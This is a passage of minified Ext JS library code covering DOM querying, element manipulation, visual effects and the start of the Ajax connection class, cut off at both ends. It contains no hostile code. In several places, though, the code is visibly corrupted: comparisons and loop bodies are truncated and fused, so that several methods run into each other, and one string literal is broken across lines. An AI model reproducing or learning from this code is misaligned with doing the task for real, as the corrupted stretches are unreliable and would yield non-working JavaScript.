j=0;s=ss[j];j++){if(Ext.DomQuery.is(ci,s)){r[++ri]=ci;break}}}return r},odd:function(c){return this["nth-child"](c,"odd")},even:function(c){return this["nth-child"](c,"even")},nth:function(c,a){return c[a-1]||[]},first:function(c){return c[0]||[]},last:function(c){return c[c.length-1]||[]},has:function(c,ss){var s=Ext.DomQuery.select,r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){if(s(ss,ci).length>0){r[++ri]=ci}}return r},next:function(c,ss){var is=Ext.DomQuery.is,r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){var n=next(ci);if(n&&is(n,ss)){r[++ri]=ci}}return r},prev:function(c,ss){var is=Ext.DomQuery.is,r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){var n=prev(ci);if(n&&is(n,ss)){r[++ri]=ci}}return r}}}}();Ext.query=Ext.DomQuery.select;Ext.util.DelayedTask=function(d,c,a){var e=this,g,b=function(){clearInterval(g);g=null;d.apply(c,a||[])};e.delay=function(i,k,j,h){e.cancel();d=k||d;c=j||c;a=h||a;g=setInterval(b,i)};e.cancel=function(){if(g){clearInterval(g);g=null}}};(function(){var h=document;Ext.Element=function(l,m){var n=typeof l=="string"?h.getElementById(l):l,o;if(!n){return null}o=n.id;if(!m&&o&&Ext.elCache[o]){return Ext.elCache[o].el}this.dom=n;this.id=o||Ext.id(n)};var d=Ext.DomHelper,e=Ext.Element,a=Ext.elCache;e.prototype={set:function(q,m){var n=this.dom,l,p,m=(m!==false)&&!!n.setAttribute;for(l in q){if(q.hasOwnProperty(l)){p=q[l];if(l=="style"){d.applyStyles(n,p)}else{if(l=="cls"){n.className=p}else{if(m){n.setAttribute(l,p)}else{n[l]=p}}}}}return this},defaultUnit:"px",is:function(l){return Ext.DomQuery.is(this.dom,l)},focus:function(o,n){var l=this,n=n||l.dom;try{if(Number(o)){l.focus.defer(o,null,[null,n])}else{n.focus()}}catch(m){}return l},blur:function(){try{this.dom.blur()}catch(l){}return this},getValue:function(l){var m=this.dom.value;return l?parseInt(m,10):m},addListener:function(l,o,n,m){Ext.EventManager.on(this.dom,l,o,n||this,m);return this},removeListener:function(l,n,m){Ext.EventManager.removeListener(this.dom,l,n,m||this);return this},removeAllListeners:function(){Ext.EventManager.removeAll(this.dom);return this},purgeAllListeners:function(){Ext.EventManager.purgeElement(this,true);return this},addUnits:function(l){if(l===""||l=="auto"||l===undefined){l=l||""}else{if(!isNaN(l)||!i.test(l)){l=l+(this.defaultUnit||"px")}}return l},load:function(m,n,l){Ext.Ajax.request(Ext.apply({params:n,url:m.url||m,callback:l,el:this.dom,indicatorText:m.indicatorText||""},Ext.isObject(m)?m:{}));return this},isBorderBox:function(){return Ext.isBorderBox||Ext.isForcedBorderBox||g[(this.dom.tagName||"").toLowerCase()]},remove:function(){var l=this,m=l.dom;if(m){delete l.dom;Ext.removeNode(m)}},hover:function(m,l,o,n){var p=this;p.on("mouseenter",m,o||p.dom,n);p.on("mouseleave",l,o||p.dom,n);return p},contains:function(l){return !l?false:Ext.lib.Dom.isAncestor(this.dom,l.dom?l.dom:l)},getAttributeNS:function(m,l){return this.getAttribute(l,m)},getAttribute:(function(){var p=document.createElement("table"),o=false,m="getAttribute" in p,l=/undefined|unknown/;if(m){try{p.getAttribute("ext:qtip")}catch(n){o=true}return function(q,s){var r=this.dom,t;if(r.getAttributeNS){t=r.getAttributeNS(s,q)||null}if(t==null){if(s){if(o&&r.tagName.toUpperCase()=="TABLE"){try{t=r.getAttribute(s+":"+q)}catch(u){t=""}}else{t=r.getAttribute(s+":"+q)}}else{t=r.getAttribute(q)||r[q]}}return t||""}}else{return function(q,s){var r=this.om,u,t;if(s){t=r[s+":"+q];u=l.test(typeof t)?undefined:t}else{u=r[q]}return u||""}}p=null})(),update:function(l){if(this.dom){this.dom.innerHTML=l}return this}};var k=e.prototype;e.addMethods=function(l){Ext.apply(k,l)};k.on=k.addListener;k.un=k.removeListener;k.autoBoxAdjust=true;var i=/\d+(px|em|%|en|ex|pt|in|cm|mm|pc)$/i,c;e.get=function(m){var l,p,o;if(!m){return null}if(typeof m=="string"){if(!(p=h.getElementById(m))){return null}if(a[m]&&a[m].el){l=a[m].el;l.dom=p}else{l=e.addToCache(new e(p))}return l}else{if(m.tagName){if(!(o=m.id)){o=Ext.id(m)}if(a[o]&&a[o].el){l=a[o].el;l.dom=m}else{l=e.addToCache(new e(m))}return l}else{if(m instanceof e){if(m!=c){if(Ext.isIE&&(m.id==undefined||m.id=="")){m.dom=m.dom}else{m.dom=h.getElementById(m.id)||m.dom}}return m}else{if(m.isComposite){return m}else{if(Ext.isArray(m)){return e.select(m)}else{if(m==h){if(!c){var n=function(){};n.prototype=e.prototype;c=new n();c.dom=h}return c}}}}}}return null};e.addToCache=function(l,m){m=m||l.id;a[m]={el:l,data:{},events:{}};return l};e.data=function(m,l,n){m=e.get(m);if(!m){return null}var o=a[m.id].data;if(arguments.length==2){return o[l]}else{return(o[l]=n)}};function j(){if(!Ext.enableGarbageCollector){clearInterval(e.collectorThreadId)}else{var l,n,q,p;for(l in a){p=a[l];if(p.skipGC){continue}n=p.el;q=n.dom;if(!q||!q.parentNode||(!q.offsetParent&&!h.getElementById(l))){if(Ext.enableListenerCollection){Ext.EventManager.removeAll(q)}delete a[l]}}if(Ext.isIE){var m={};for(l in a){m[l]=a[l]}a=Ext.elCache=m}}}e.collectorThreadId=setInterval(j,30000);var b=function(){};b.prototype=e.prototype;e.Flyweight=function(l){this.dom=l};e.Flyweight.prototype=new b();e.Flyweight.prototype.isFlyweight=true;e._flyweights={};e.fly=function(n,l){var m=null;l=l||"_global";if(n=Ext.getDom(n)){(e._flyweights[l]=e._flyweights[l]||new e.Flyweight()).dom=n;m=e._flyweights[l]}return m};Ext.get=e.get;Ext.fly=e.fly;var g=Ext.isStrict?{select:1}:{input:1,select:1,textarea:1};if(Ext.isIE||Ext.isGecko){g.button=1}})();Ext.Element.addMethods(function(){var d="parentNode",b="nextSibling",c="previousSibling",e=Ext.DomQuery,a=Ext.get;return{findParent:function(m,l,h){var j=this.dom,g=document.body,k=0,i;if(Ext.isGecko&&Object.prototype.toString.call(j)=="[object XULElement]"){return null}l=l||50;if(isNaN(l)){i=Ext.getDom(l);l=Number.MAX_VALUE}while(j&&j.nodeType==1&&k "+g,this.dom);return h?i:a(i)},parent:function(g,h){return this.matchNode(d,d,g,h)},next:function(g,h){return this.matchNode(b,b,g,h)},prev:function(g,h){return this.matchNode(c,c,g,h)},first:function(g,h){return this.matchNode(b,"firstChild",g,h)},last:function(g,h){return this.matchNode(c,"lastChild",g,h)},matchNode:function(h,k,g,i){var j=this.dom[k];while(j){if(j.nodeType==1&&(!g||e.is(j,g))){return !i?a(j):j}j=j[h]}return null}}}());Ext.Element.addMethods(function(){var c=Ext.getDom,a=Ext.get,b=Ext.DomHelper;return{appendChild:function(d){return a(d).appendTo(this)},appendTo:function(d){c(d).appendChild(this.dom);return this},insertBefore:function(d){(d=c(d)).parentNode.insertBefore(this.dom,d);return this},insertAfter:function(d){(d=c(d)).parentNode.insertBefore(this.dom,d.nextSibling);return this},insertFirst:function(e,d){e=e||{};if(e.nodeType||e.dom||typeof e=="string"){e=c(e);this.dom.insertBefore(e,this.dom.firstChild);return !d?a(e):e}else{return this.createChild(e,this.dom.firstChild,d)}},replace:function(d){d=a(d);this.insertBefore(d);d.remove();return this},replaceWith:function(d){var e=this;if(d.nodeType||d.dom||typeof d=="string"){d=c(d);e.dom.parentNode.insertBefore(d,e.dom)}else{d=b.insertBefore(e.dom,d)}delete Ext.elCache[e.id];Ext.removeNode(e.dom);e.id=Ext.id(e.dom=d);Ext.Element.addToCache(e.isFlyweight?new Ext.Element(e.dom):e);return e},createChild:function(e,d,g){e=e||{tag:"div"};return d?b.insertBefore(d,e,g!==true):b[!this.dom.firstChild?"overwrite":"append"](this.dom,e,g!==true)},wrap:function(d,e){var g=b.insertBefore(this.dom,d||{tag:"div"},!e);g.dom?g.dom.appendChild(this.dom):g.appendChild(this.dom);return g},insertHtml:function(e,g,d){var h=b.insertHtml(e,this.dom,g);return d?Ext.get(h):h}}}());Ext.Element.addMethods(function(){var A=Ext.supports,h={},x=/(-[a-z])/gi,s=document.defaultView,D=/alpha\(opacity=(.*)\)/i,l=/^\s+|\s+$/g,B=Ext.Element,u=/\s+/,b=/\w/g,d="padding",c="margin",y="border",t="-left",q="-right",w="-top",o="-bottom",j="-width",r=Math,z="hidden",e="isClipped",k="overflow",n="overflow-x",m="overflow-y",C="originalClip",i={l:y+t+j,r:y+q+j,t:y+w+j,b:y+o+j},g={l:d+t,r:d+q,t:d+w,b:d+o},a={l:c+t,r:c+q,t:c+w,b:c+o},E=Ext.Element.data;function p(F,G){return G.charAt(1).toUpperCase()}function v(F){return h[F]||(h[F]=F=="float"?(A.cssFloat?"cssFloat":"styleFloat"):F.replace(x,p))}return{adjustWidth:function(F){var G=this;var H=(typeof F=="number");if(H&&G.autoBoxAdjust&&!G.isBorderBox()){F-=(G.getBorderWidth("lr")+G.getPadding("lr"))}return(H&&F<0)?0:F},adjustHeight:function(F){var G=this;var H=(typeof F=="number");if(H&&G.autoBoxAdjust&&!G.isBorderBox()){F-=(G.getBorderWidth("tb")+G.getPadding("tb"))}return(H&&F<0)?0:F},addClass:function(J){var K=this,I,F,H,G=[];if(!Ext.isArray(J)){if(typeof J=="string"&&!this.hasClass(J)){K.dom.className+=" "+J}}else{for(I=0,F=J.length;I5?H.toLowerCase():G)},setStyle:function(I,H){var F,G;if(typeof I!="object"){F={};F[I]=H;I=F}for(G in I){H=I[G];G=="opacity"?this.setOpacity(H):this.dom.style[v(G)]=H}return this},setOpacity:function(G,F){var J=this,H=J.dom.style;if(!F||!J.anim){if(Ext.isIE){var I=G<1?"alpha(opacity="+G*100+")":"",K=H.filter.replace(D,"").replace(l,"");H.zoom=1;H.filter=K+(K.length>0?" ":"")+I}else{H.opacity=G}}else{J.anim({opacity:{to:G}},J.preanim(arguments,1),null,0.35,"easeIn")}return J},clearOpacity:function(){var F=this.dom.style;if(Ext.isIE){if(!Ext.isEmpty(F.filter)){F.filter=F.filter.replace(D,"").replace(l,"")}}else{F.opacity=F["-moz-opacity"]=F["-khtml-opacity"]=""}return this},getHeight:function(H){var G=this,J=G.dom,I=Ext.isIE&&G.isStyle("display","none"),F=r.max(J.offsetHeight,I?0:J.clientHeight)||0;F=!H?F:F-G.getBorderWidth("tb")-G.getPadding("tb");return F<0?0:F},getWidth:function(G){var H=this,J=H.dom,I=Ext.isIE&&H.isStyle("display","none"),F=r.max(J.offsetWidth,I?0:J.clientWidth)||0;F=!G?F:F-H.getBorderWidth("lr")-H.getPadding("lr");return F<0?0:F},setWidth:function(G,F){var H=this;G=H.adjustWidth(G);!F||!H.anim?H.dom.style.width=H.addUnits(G):H.anim({width:{to:G}},H.preanim(arguments,1));return H},setHeight:function(F,G){var H=this;F=H.adjustHeight(F);!G||!H.anim?H.dom.style.height=H.addUnits(F):H.anim({height:{to:F}},H.preanim(arguments,1));return H},getBorderWidth:function(F){return this.addStyles(F,i)},getPadding:function(F){return this.addStyles(F,g)},clip:function(){var F=this,G=F.dom;if(!E(G,e)){E(G,e,true);E(G,C,{o:F.getStyle(k),x:F.getStyle(n),y:F.getStyle(m)});F.setStyle(k,z);F.setStyle(n,z);F.setStyle(m,z)}return F},unclip:function(){var F=this,H=F.dom;if(E(H,e)){E(H,e,false);var G=E(H,C);if(G.o){F.setStyle(k,G.o)}if(G.x){F.setStyle(n,G.x)}if(G.y){F.setStyle(m,G.y)}}return F},addStyles:function(M,L){var J=0,K=M.match(b),I,H,G,F=K.length;for(G=0;Ga.clientHeight||a.scrollWidth>a.clientWidth},scrollTo:function(a,b){this.dom["scroll"+(/top/i.test(a)?"Top":"Left")]=b;return this},getScroll:function(){var i=this.dom,h=document,a=h.body,c=h.documentElement,b,g,e;if(i==h||i==a){if(Ext.isIE&&Ext.isStrict){b=c.scrollLeft;g=c.scrollTop}else{b=window.pageXOffset;g=window.pageYOffset}e={left:b||(a?a.scrollLeft:0),top:g||(a?a.scrollTop:0)}}else{e={left:i.scrollLeft,top:i.scrollTop}}return e}});Ext.Element.VISIBILITY=1;Ext.Element.DISPLAY=2;Ext.Element.OFFSETS=3;Ext.Element.ASCLASS=4;Ext.Element.visibilityCls="x-hide-nosize";Ext.Element.addMethods(function(){var e=Ext.Element,p="opacity",j="visibility",g="display",d="hidden",n="offsets",k="asclass",m="none",a="nosize",b="originalDisplay",c="visibilityMode",h="isVisible",i=e.data,l=function(r){var q=i(r,b);if(q===undefined){i(r,b,q="")}return q},o=function(r){var q=i(r,c);if(q===undefined){i(r,c,q=1)}return q};return{originalDisplay:"",visibilityMode:1,setVisibilityMode:function(q){i(this.dom,c,q);return this},animate:function(r,t,s,u,q){this.anim(r,{duration:t,callback:s,easing:u},q);return this},anim:function(t,u,r,w,s,q){r=r||"run";u=u||{};var v=this,x=Ext.lib.Anim[r](v.dom,t,(u.duration||w)||0.35,(u.easing||s)||"easeOut",function(){if(q){q.call(v)}if(u.callback){u.callback.call(u.scope||v,v,u)}},v);u.anim=x;return x},preanim:function(q,r){return !q[r]?false:(typeof q[r]=="object"?q[r]:{duration:q[r+1],callback:q[r+2],easing:q[r+3]})},isVisible:function(){var q=this,s=q.dom,r=i(s,h);if(typeof r=="boolean"){return r}r=!q.isStyle(j,d)&&!q.isStyle(g,m)&&!((o(s)==e.ASCLASS)&&q.hasClass(q.visibilityCls||e.visibilityCls));i(s,h,r);return r},setVisible:function(t,q){var w=this,r,y,x,v,u=w.dom,s=o(u);if(typeof q=="string"){switch(q){case g:s=e.DISPLAY;break;case j:s=e.VISIBILITY;break;case n:s=e.OFFSETS;break;case a:case k:s=e.ASCLASS;break}w.setVisibilityMode(s);q=false}if(!q||!w.anim){if(s==e.ASCLASS){w[t?"removeClass":"addClass"](w.visibilityCls||e.visibilityCls)}else{if(s==e.DISPLAY){return w.setDisplayed(t)}else{if(s==e.OFFSETS){if(!t){w.hideModeStyles={position:w.getStyle("position"),top:w.getStyle("top"),left:w.getStyle("left")};w.applyStyles({position:"absolute",top:"-10000px",left:"-10000px"})}else{w.applyStyles(w.hideModeStyles||{position:"",top:"",left:""});delete w.hideModeStyles}}else{w.fixDisplay();u.style.visibility=t?"visible":d}}}}else{if(t){w.setOpacity(0.01);w.setVisible(true)}w.anim({opacity:{to:(t?1:0)}},w.preanim(arguments,1),null,0.35,"easeIn",function(){t||w.setVisible(false).setOpacity(1)})}i(u,h,t);return w},hasMetrics:function(){var q=this.dom;return this.isVisible()||(o(q)==e.VISIBILITY)},toggle:function(q){var r=this;r.setVisible(!r.isVisible(),r.preanim(arguments,0));return r},setDisplayed:function(q){if(typeof q=="boolean"){q=q?l(this.dom):m}this.setStyle(g,q);return this},fixDisplay:function(){var q=this;if(q.isStyle(g,m)){q.setStyle(j,d);q.setStyle(g,l(this.dom));if(q.isStyle(g,m)){q.setStyle(g,"block")}}},hide:function(q){if(typeof q=="string"){this.setVisible(false,q);return this}this.setVisible(false,this.preanim(arguments,0));return this},show:function(q){if(typeof q=="string"){this.setVisible(true,q);return this}this.setVisible(true,this.preanim(arguments,0));return this}}}());(function(){var y=null,A=undefined,k=true,t=false,j="setX",h="setY",a="setXY",n="left",l="bottom",s="top",m="right",q="height",g="width",i="points",w="hidden",z="absolute",u="visible",e="motion",o="position",r="easeOut",d=new Ext.Element.Flyweight(),v={},x=function(B){return B||{}},p=function(B){d.dom=B;d.id=Ext.id(B);return d},c=function(B){if(!v[B]){v[B]=[]}return v[B]},b=function(C,B){v[C]=B};Ext.enableFx=k;Ext.Fx={switchStatements:function(C,D,B){return D.apply(this,B[C])},slideIn:function(H,E){E=x(E);var J=this,G=J.dom,M=G.style,O,B,L,D,C,M,I,N,K,F;H=H||"t";J.queueFx(E,function(){O=p(G).getXY();p(G).fixDisplay();B=p(G).getFxRestore();L={x:O[0],y:O[1],0:O[0],1:O[1],width:G.offsetWidth,height:G.offsetHeight};L.right=L.x+L.width;L.bottom=L.y+L.height;p(G).setWidth(L.width).setHeight(L.height);D=p(G).fxWrap(B.pos,E,w);M.visibility=u;M.position=z;function P(){p(G).fxUnwrap(D,B.pos,E);M.width=B.width;M.height=B.height;p(G).afterFx(E)}N={to:[L.x,L.y]};K={to:L.width};F={to:L.height};function Q(U,R,V,S,X,Z,ac,ab,aa,W,T){var Y={};p(U).setWidth(V).setHeight(S);if(p(U)[X]){p(U)[X](Z)}R[ac]=R[ab]="0";if(aa){Y.width=aa}if(W){Y.height=W}if(T){Y.points=T}return Y}I=p(G).switchStatements(H.toLowerCase(),Q,{t:[D,M,L.width,0,y,y,n,l,y,F,y],l:[D,M,0,L.height,y,y,m,s,K,y,y],r:[D,M,L.width,L.height,j,L.right,n,s,y,y,N],b:[D,M,L.width,L.height,h,L.bottom,n,s,y,F,N],tl:[D,M,0,0,y,y,m,l,K,F,N],bl:[D,M,0,0,h,L.y+L.height,m,s,K,F,N],br:[D,M,0,0,a,[L.right,L.bottom],n,s,K,F,N],tr:[D,M,0,0,j,L.x+L.width,n,l,K,F,N]});M.visibility=u;p(D).show();arguments.callee.anim=p(D).fxanim(I,E,e,0.5,r,P)});return J},slideOut:function(F,D){D=x(D);var H=this,E=H.dom,K=E.style,L=H.getXY(),C,B,I,J,G={to:0};F=F||"t";H.queueFx(D,function(){B=p(E).getFxRestore();I={x:L[0],y:L[1],0:L[0],1:L[1],width:E.offsetWidth,height:E.offsetHeight};I.right=I.x+I.width;I.bottom=I.y+I.height;p(E).setWidth(I.width).setHeight(I.height);C=p(E).fxWrap(B.pos,D,u);K.visibility=u;K.position=z;p(C).setWidth(I.width).setHeight(I.height);function M(){D.useDisplay?p(E).setDisplayed(t):p(E).hide();p(E).fxUnwrap(C,B.pos,D);K.width=B.width;K.height=B.height;p(E).afterFx(D)}function N(O,W,U,X,S,V,R,T,Q){var P={};O[W]=O[U]="0";P[X]=S;if(V){P[V]=R}if(T){P[T]=Q}return P}J=p(E).switchStatements(F.toLowerCase(),N,{t:[K,n,l,q,G],l:[K,m,s,g,G],r:[K,n,s,g,G,i,{to:[I.right,I.y]}],b:[K,n,s,q,G,i,{to:[I.x,I.bottom]}],tl:[K,m,l,g,G,q,G],bl:[K,m,s,g,G,q,G,i,{to:[I.x,I.bottom]}],br:[K,n,s,g,G,q,G,i,{to:[I.x+I.width,I.bottom]}],tr:[K,n,l,g,G,q,G,i,{to:[I.right,I.y]}]});arguments.callee.anim=p(C).fxanim(J,D,e,0.5,r,M)});return H},puff:function(H){H=x(H);var F=this,G=F.dom,C=G.style,D,B,E;F.queueFx(H,function(){D=p(G).getWidth();B=p(G).getHeight();p(G).clearOpacity();p(G).show();E=p(G).getFxRestore();function I(){H.useDisplay?p(G).setDisplayed(t):p(G).hide();p(G).clearOpacity();p(G).setPositioning(E.pos);C.width=E.width;C.height=E.height;C.fontSize="";p(G).afterFx(H)}arguments.callee.anim=p(G).fxanim({width:{to:p(G).adjustWidth(D*2)},height:{to:p(G).adjustHeight(B*2)},points:{by:[-D*0.5,-B*0.5]},opacity:{to:0},fontSize:{to:200,unit:"%"}},H,e,0.5,r,I)});return F},switchOff:function(F){F=x(F);var D=this,E=D.dom,B=E.style,C;D.queueFx(F,function(){p(E).clearOpacity();p(E).clip();C=p(E).getFxRestore();function G(){F.useDisplay?p(E).setDisplayed(t):p(E).hide();p(E).clearOpacity();p(E).setPositioning(C.pos);B.width=C.width;B.height=C.height;p(E).afterFx(F)}p(E).fxanim({opacity:{to:0.3}},y,y,0.1,y,function(){p(E).clearOpacity();(function(){p(E).fxanim({height:{to:1},points:{by:[0,p(E).getHeight()*0.5]}},F,e,0.3,"easeIn",G)}).defer(100)})});return D},highlight:function(D,H){H=x(H);var F=this,G=F.dom,B=H.attr||"backgroundColor",C={},E;F.queueFx(H,function(){p(G).clearOpacity();p(G).show();function I(){G.style[B]=E;p(G).afterFx(H)}E=G.style[B];C[B]={from:D||"ffff9c",to:H.endColor||p(G).getColor(B)||"ffffff"};arguments.callee.anim=p(G).fxanim(C,H,"color",1,"easeIn",I)});return F},frame:function(B,E,H){H=x(H);var D=this,G=D.dom,C,F;D.queueFx(H,function(){B=B||"#C3DAF9";if(B.length==6){B="#"+B}E=E||1;p(G).show();var L=p(G).getXY(),J={x:L[0],y:L[1],0:L[0],1:L[1],width:G.offsetWidth,height:G.offsetHeight},I=function(){C=p(document.body||document.documentElement).createChild({style:{position:z,"z-index":35000,border:"0px solid "+B}});return C.queueFx({},K)};arguments.callee.anim={isAnimated:true,stop:function(){E=0;C.stopFx()}};function K(){var M=Ext.isBorderBox?2:1;F=C.anim({top:{from:J.y,to:J.y-20},left:{from:J.x,to:J.x-20},borderWidth:{from:0,to:10},opacity:{from:1,to:0},height:{from:J.height,to:J.height+20*M},width:{from:J.width,to:J.width+20*M}},{duration:H.duration||1,callback:function(){C.remove();--E>0?I():p(G).afterFx(H)}});arguments.callee.anim={isAnimated:true,stop:function(){F.stop()}}}I()});return D},pause:function(D){var C=this.dom,B;this.queueFx({},function(){B=setTimeout(function(){p(C).afterFx({})},D*1000);arguments.callee.anim={isAnimated:true,stop:function(){clearTimeout(B);p(C).afterFx({})}}});return this},fadeIn:function(D){D=x(D);var B=this,C=B.dom,E=D.endOpacity||1;B.queueFx(D,function(){p(C).setOpacity(0);p(C).fixDisplay();C.style.visibility=u;arguments.callee.anim=p(C).fxanim({opacity:{to:E}},D,y,0.5,r,function(){if(E==1){p(C).clearOpacity()}p(C).afterFx(D)})});return B},fadeOut:function(E){E=x(E);var C=this,D=C.dom,B=D.style,F=E.endOpacity||0;C.queueFx(E,function(){arguments.callee.anim=p(D).fxanim({opacity:{to:F}},E,y,0.5,r,function(){if(F==0){Ext.Element.data(D,"visibilityMode")==Ext.Element.DISPLAY||E.useDisplay?B.display="none":B.visibility=w;p(D).clearOpacity()}p(D).afterFx(E)})});return C},scale:function(B,C,D){this.shift(Ext.apply({},D,{width:B,height:C}));return this},shift:function(D){D=x(D);var C=this.dom,B={};this.queueFx(D,function(){for(var E in D){if(D[E]!=A){B[E]={to:D[E]}}}B.width?B.width.to=p(C).adjustWidth(D.width):B;B.height?B.height.to=p(C).adjustWidth(D.height):B;if(B.x||B.y||B.xy){B.points=B.xy||{to:[B.x?B.x.to:p(C).getX(),B.y?B.y.to:p(C).getY()]}}arguments.callee.anim=p(C).fxanim(B,D,e,0.35,r,function(){p(C).afterFx(D)})});return this},ghost:function(E,C){C=x(C);var G=this,D=G.dom,J=D.style,H={opacity:{to:0},points:{}},K=H.points,B,I,F;E=E||"b";G.queueFx(C,function(){B=p(D).getFxRestore();I=p(D).getWidth();F=p(D).getHeight();function L(){C.useDisplay?p(D).setDisplayed(t):p(D).hide();p(D).clearOpacity();p(D).setPositioning(B.pos);J.width=B.width;J.height=B.height;p(D).afterFx(C)}K.by=p(D).switchStatements(E.toLowerCase(),function(N,M){return[N,M]},{t:[0,-F],l:[-I,0],r:[I,0],b:[0,F],tl:[-I,-F],bl:[-I,F],br:[I,F],tr:[I,-F]});arguments.callee.anim=p(D).fxanim(H,C,e,0.5,r,L)});return G},syncFx:function(){var B=this;B.fxDefaults=Ext.apply(B.fxDefaults||{},{block:t,concurrent:k,stopFx:t});return B},sequenceFx:function(){var B=this;B.fxDefaults=Ext.apply(B.fxDefaults||{},{block:t,concurrent:t,stopFx:t});return B},nextFx:function(){var B=c(this.dom.id)[0];if(B){B.call(this)}},hasActiveFx:function(){return c(this.dom.id)[0]},stopFx:function(B){var C=this,E=C.dom.id;if(C.hasActiveFx()){var D=c(E)[0];if(D&&D.anim){if(D.anim.isAnimated){b(E,[D]);D.anim.stop(B!==undefined?B:k)}else{b(E,[])}}}return C},beforeFx:function(B){if(this.hasActiveFx()&&!B.concurrent){if(B.stopFx){this.stopFx();return k}return t}return k},hasFxBlock:function(){var B=c(this.dom.id);return B&&B[0]&&B[0].block},queueFx:function(E,B){var C=p(this.dom);if(!C.hasFxBlock()){Ext.applyIf(E,C.fxDefaults);if(!E.concurrent){var D=C.beforeFx(E);B.block=E.block;c(C.dom.id).push(B);if(D){C.nextFx()}}else{B.call(C)}}return C},fxWrap:function(H,F,D){var E=this.dom,C,B;if(!F.wrap||!(C=Ext.getDom(F.wrap))){if(F.fixPosition){B=p(E).getXY()}var G=document.createElement("div");G.style.visibility=D;C=E.parentNode.insertBefore(G,E);p(C).setPositioning(H);if(p(C).isStyle(o,"static")){p(C).position("relative")}p(E).clearPositioning("auto");p(C).clip();C.appendChild(E);if(B){p(C).setXY(B)}}return C},fxUnwrap:function(C,F,E){var D=this.dom;p(D).clearPositioning();p(D).setPositioning(F);if(!E.wrap){var B=p(C).dom.parentNode;B.insertBefore(D,C);p(C).remove()}},getFxRestore:function(){var B=this.dom.style;return{pos:this.getPositioning(),width:B.width,height:B.height}},afterFx:function(C){var B=this.dom,D=B.id;if(C.afterStyle){p(B).setStyle(C.afterStyle)}if(C.afterCls){p(B).addClass(C.afterCls)}if(C.remove==k){p(B).remove()}if(C.callback){C.callback.call(C.scope,p(B))}if(!C.concurrent){c(D).shift();p(B).nextFx()}},fxanim:function(E,F,C,G,D,B){C=C||"run";F=F||{};var H=Ext.lib.Anim[C](this.dom,E,(F.duration||G)||0.35,(F.easing||D)||r,B,this);F.anim=H;return H}};Ext.Fx.resize=Ext.Fx.scale;Ext.Element.addMethods(Ext.Fx)})();Ext.CompositeElementLite=function(b,a){this.elements=[];this.add(b,a);this.el=new Ext.Element.Flyweight()};Ext.CompositeElementLite.prototype={isComposite:true,getElement:function(a){var b=this.el;b.dom=a;b.id=a.id;return b},transformElement:function(a){return Ext.getDom(a)},getCount:function(){return this.elements.length},add:function(d,b){var e=this,g=e.elements;if(!d){return this}if(typeof d=="string"){d=Ext.Element.selectorFunction(d,b)}else{if(d.isComposite){d=d.elements}else{if(!Ext.isIterable(d)){d=[d]}}}for(var c=0,a=d.length;c-1){c=Ext.getDom(c);if(a){g=this.elements[b];g.parentNode.insertBefore(c,g);Ext.removeNode(g)}this.elements.splice(b,1,c)}return this},clear:function(){this.elements=[]}};Ext.CompositeElementLite.prototype.on=Ext.CompositeElementLite.prototype.addListener;Ext.CompositeElementLite.importElementMethods=function(){var c,b=Ext.Element.prototype,a=Ext.CompositeElementLite.prototype;for(c in b){if(typeof b[c]=="function"){(function(d){a[d]=a[d]||function(){return this.invoke(d,arguments)}}).call(a,c)}}};Ext.CompositeElementLite.importElementMethods();if(Ext.DomQuery){Ext.Element.selectorFunction=Ext.DomQuery.select}Ext.Element.select=function(a,b){var c;if(typeof a=="string"){c=Ext.Element.selectorFunction(a,b)}else{if(a.length!==undefined){c=a}else{throw"Invalid selector"}}return new Ext.CompositeElementLite(c)};Ext.select=Ext.Element.select;(function(){var b="beforerequest",e="requestcomplete",d="requestexception",h=undefined,c="load",i="POST",a="GET",g=window;Ext.data.Connection=function(j){Ext.apply(this,j);this.addEvents(b,e,d);Ext.data.Connection.superclass.constructor.call(this)};Ext.extend(Ext.data.Connection,Ext.util.Observable,{timeout:30000,autoAbort:false,disableCaching:true,disableCachingParam:"_dc",request:function(n){var s=this;if(s.fireEvent(b,s,n)){if(n.el){if(!Ext.isEmpty(n.indicatorText)){s.indicatorText='
'+n.indicatorText+"
"}if(s.indicatorText){Ext.getDom(n.el).innerHTML=s.indicatorText}n.success=(Ext.isFunction(n.success)?n.success:function(){}).createInterceptor(function(o){Ext.getDom(n.el).innerHTML=o.responseText})}var l=n.params,k=n.url||s.url,j,q={success:s.handleResponse,failure:s.handleFailure,scope:s,argument:{options:n},timeout:Ext.num(n.timeout,s.timeout)},m,t;if(Ext.isFunction(l)){l=l.call(n.scope||g,n)}l=Ext.urlEncode(s.extraParams,Ext.isObject(l)?Ext.urlEncode(l):l);if(Ext.isFunction(k)){k=k.call(n.scope||g,n)}if((m=Ext.getDom(n.form))){k=k||m.action;if(n.isUpload||(/multipart\/form-data/i.test(m.getAttribute("enctype")))){return s.doFormUpload.call(s,n,l,k)}t=Ext.lib.Ajax.serializeForm(m);l=l?(l+"&"+t):t}j=n.method||s.method||((l||n.xmlData||n.jsonData)?i:a);if(j===a&&(s.disableCaching&&n.disableCaching!==false)||n.disableCaching===true){var r=n.disableCachingParam||s.disableCachingParam;k=Ext.urlAppend(k,r+"="+(new Date().getTime()))}n.headers=Ext.applyIf(n.headers||{},s.defaultHeaders||{});if(n.autoAbort===true||s.autoAbort){s.abort()}if((j==a||n.xmlData||n.jsonData)&&l){k=Ext.urlAppend(k,l);l=""}return(s.transId=Ext.lib.Ajax.request(j,k,q,l,n))}else{return n.callback?n.callback.apply(n.scope,[n,h,h]):null}},isLoading:function(j){return j?Ext.lib.Ajax.isCallInProgress(j):!!this.transId},abort:function(j){if(j||this.isLoading()){Ext.lib.Ajax.abort(j||this.transId)}},handleResponse:function(j){this.transId=false;var k=j.argument.options;j.argument=k?k.argument:null;this.fireEvent(e,this,j,k);if(k.success){k.success.call(k.scope,j,k)}if(k.callback){k.callback.call(k.scope,k,true,j)}},handleFailure:function(j,l){this.transId=false;var k=j.argument.options;j.argument=k?k.argument:null;this.fireEvent(d,this,j,k,l);if(k.failure){k.failure.call(k.scope,j,k)}if(k.callback){k.callback.call(k.scope,k,false,j)}},doFormUpload:function(q,j,k){var 